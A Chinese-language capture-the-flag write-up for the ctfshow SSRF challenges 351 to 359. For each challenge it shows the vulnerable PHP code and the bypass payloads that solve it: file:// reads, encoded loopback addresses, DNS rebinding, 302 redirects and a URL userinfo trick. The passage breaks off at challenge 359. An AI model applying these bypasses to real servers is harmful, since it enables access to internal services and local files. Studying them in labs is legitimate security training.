SSRF_CTF show

351

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result); 
curl_init(url)函数初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close()函数使用。
curl_init():初始curl会话
curl_setopt():会话设置
curl_exec():执行curl会话,获取内容
curl_close():会话关闭 
直接访问flag.php会提示 非本地用户禁止访问

url=file:///var/www/html/flag.php

url=127.1/flag.php
<?php
$flag="ctfshow{9e265fe1-32ab-48b7-a145-0a85a6110f26}";
if($_SERVER['REMOTE_ADDR']=='127.0.0.1'){
	echo $flag;
}
else{
	die("非本地用户禁止访问");
}

352~353

<?php
error_reporting(0);
highlight_file(__FILE__);
$url = $_POST['url'];
$x = parse_url($url);
if ($x['scheme'] === 'http' || $x['scheme'] === 'https') {
    if (!preg_match('/localhost|127.0.0/')) {
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $result = curl_exec($ch);
        curl_close($ch);
        echo ($result);
    } else {
        die('hacker');
    }
} else {
    die('hacker');
}
<?php
error_reporting(0);
highlight_file(__FILE__);
$url = $_POST['url'];
$x = parse_url($url);
if ($x['scheme'] === 'http' || $x['scheme'] === 'https') {
    if (!preg_match('/localhost|127\.0\.|\。/i', $url)) {
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $result = curl_exec($ch);
        curl_close($ch);
        echo ($result);
    } else {
        die('hacker');
    }
} else {
    die('hacker');
}

parse_url ( string $url [, int $component = -1 ] )

本函数解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分。

本函数不是用来验证给定 URL 的合法性的,只是将其分解为几部分。不完整的 URL 也被接受,parse_url() 会尝试尽量正确地将其解析。

进制绕过:
十六进制
url=http://0x7F.0.0.1/flag.php
八进制
url=http://0177.0.0.1/flag.php
10 进制整数格式
url=http://2130706433/flag.php
16 进制整数格式,记得前缀0x
url=http://0x7F000001/flag.php

还有一种特殊的省略模式
127.0.0.1写成127.1

用CIDR绕过localhost
url=http://127.127.127.127/flag.php

url=http://0/flag.php
url=http://0.0.0.0/flag.php

……

354

<?php
error_reporting(0);
highlight_file(__FILE__);
$url = $_POST['url'];
$x = parse_url($url);
if ($x['scheme'] === 'http' || $x['scheme'] === 'https') {
    if (!preg_match('/localhost|1|0|。/i', $url)) {
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $result = curl_exec($ch);
        curl_close($ch);
        echo ($result);
    } else {
        die('hacker');
    }
} else {
    die('hacker');
}

DNS-Rebinding攻击绕过

url=http://r.xxxzc8.ceye.io/flag.php 自己去ceye.io注册绑定127.0.0.1然后记得前面加r

DNS解析

还能把自己域名绑定为127.0.0.1
或者有个现成的绑定为127.0.0.1的网站

http://sudo.cc

302跳转绕过也行,在自己的网站主页加上这个

<?php
header("Location:http://127.0.0.1/flag.php");

355~356

<?php
error_reporting(0);
highlight_file(__FILE__);
$url = $_POST['url'];
$x = parse_url($url);
if ($x['scheme'] === 'http' || $x['scheme'] === 'https') {
    $host = $x['host'];
    if ((strlen($host) <= 5)) {	//356题为(strlen($host) <= 3)
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $result = curl_exec($ch);
        curl_close($ch);
        echo ($result);
    } else {
        die('hacker');
    }
} else {
    die('hacker');
}

限制了主机名的长度。

url=http://0/flag.php
url=http://127.1/flag.php

357

<?php
error_reporting(0);
highlight_file(__FILE__);
$url = $_POST['url'];
$x = parse_url($url);
if ($x['scheme'] === 'http' || $x['scheme'] === 'https') {
    $ip = gethostbyname($x['host']);
    echo '</br>' . $ip . '</br>';
    if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
        die('ip!');
    }
    echo file_get_contents($_POST['url']);
} else {
    die('scheme');
}

gethostbyname ( string $hostname ) : string

返回主机名 hostname 对应的 IPv4 互联网地址。

使用过滤器来过滤了主机名,简单说就是不能是私域IP

filter_var() 函数通过指定的过滤器过滤变量
FILTER_VALIDATE_IP - 把值作为 IP 地址来验证。
FILTER_FLAG_NO_PRIV_RANGE - 要求值是 RFC 指定的私域 IP (比如 192.168.0.1)
FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值。

用web354说过的302跳转即可解题,需要自己域名绑定服务器,因为gethostbyname()
或者去http://ceye.io/,添加个DNS Rebinding为任意ip,再添加一个为127.0.0.1,否则payload打过去会直接显示127.0.0.1 ip!
SSRF_CTF show

然后POST:(记得在分配的域名前面加个r.),多POST几次就可以了,利用的是时间差,详见原理

url=http://r.xxxxxx.ceye.io/flag.php

358

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
	echo file_get_contents($url);
}
url=http://ctf.@0/flag.php?show

359

//打无密码的mysql

SSRF_CTF show

根据所传参数猜测有ssrf漏洞

┌──(root
上一篇:mysql和haproxy高可用


下一篇:kingbaseES R3 集群一键修改集群用户密码案例